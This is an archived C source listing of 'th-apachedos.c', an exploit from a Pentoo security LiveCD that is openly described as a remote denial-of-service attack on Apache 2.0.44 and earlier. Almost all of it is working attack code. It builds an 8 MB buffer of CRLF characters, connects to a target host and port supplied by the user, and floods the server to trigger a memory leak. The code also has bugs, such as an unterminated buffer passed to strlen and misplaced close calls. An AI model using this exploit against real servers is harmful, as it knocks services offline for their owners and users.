home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / apache / th-apachedos.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  99 lines

  1. /******** th-apachedos.c ********************************************************
  2. * *
  3. * Remote Apache DoS exploit *
  4. * ------------------------- *
  5. * Written as a poc for the: *
  6. * This program sends 8000000 \n's to exploit the Apache memory leak. *
  7. * Works from scratch under Linux, as opposed to apache-massacre.c . *
  8. * Daniel Nystr∩┐╜m <exce@netwinder.nu> *
  9. * - www.telhack.tk - *
  10. ******************************************************** th-apachedos.c ********/
  11.  
  12. #include <stdio.h>
  13. #include <stdlib.h>
  14. #include <string.h>
  15. #include <errno.h>
  16. #include <sys/types.h>
  17. #include <netinet/in.h>
  18. #include <netdb.h>
  19. #include <sys/socket.h>
  20.  
  21.  
  22. int main(int argc, char *argv[])
  23. {
  24. int sockfd;
  25. int count;
  26. char buffer[8000000];
  27. struct sockaddr_in target;
  28. struct hostent *he;
  29.  
  30. if (argc != 3)
  31. {
  32. fprintf(stderr, "\nTH-apachedos.c - Apache <= 2.0.44 DoS exploit.");
  33. fprintf(stderr, "\n----------------------------------------------");
  34. fprintf(stderr, "\nUsage: %s <Target> <Port>\n\n", argv[0]);
  35. exit(-1);
  36. }
  37.  
  38. printf("\nTH-Apache DoS\n");
  39. printf("-------------\n");
  40. printf("-> Starting...\n"); 
  41. printf("->\n");
  42.  
  43. // memset(buffer, '\n', sizeof(buffer)); /* testing */
  44.  
  45. for (count = 0; count < 8000000;) 
  46. {
  47. buffer[count] = '\r'; /* 0x0D */
  48. count++;
  49. buffer[count] = '\n'; /* 0x0A */
  50. count++;
  51. }
  52.  
  53. if ((he=gethostbyname(argv[1])) == NULL)
  54. {
  55. herror("gethostbyname() failed ");
  56. exit(-1);
  57. }
  58.  
  59. memset(&target, 0, sizeof(target));
  60. target.sin_family = AF_INET;
  61. target.sin_port = htons(atoi(argv[2]));
  62. target.sin_addr = *((struct in_addr *)he->h_addr);
  63.  
  64. printf("-> Connecting to %s:%d...\n", inet_ntoa(target.sin_addr), atoi(argv[2]));
  65. printf("->\n");
  66.  
  67. if ((sockfd=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
  68. {
  69. perror("socket() failed ");
  70. exit(-1);
  71. }
  72.  
  73. if (connect(sockfd, (struct sockaddr *)&target, sizeof(struct sockaddr)) < 0)
  74. {
  75. perror("connect() failed ");
  76. exit(-1);
  77. }
  78.  
  79. printf("-> Connected to %s:%d... Sending linefeeds...\n", inet_ntoa(target.sin_addr),
  80. atoi(argv[2]));
  81. printf("->\n");
  82.  
  83. if (send(sockfd, buffer, strlen(buffer), 0) != strlen(buffer))
  84. {
  85. perror("send() failed ");
  86. exit(-1);
  87. close(sockfd);
  88.  
  89.  
  90. close(sockfd);
  91.  
  92. printf("-> Finished smoothly, check hosts apache...\n\n");
  93. }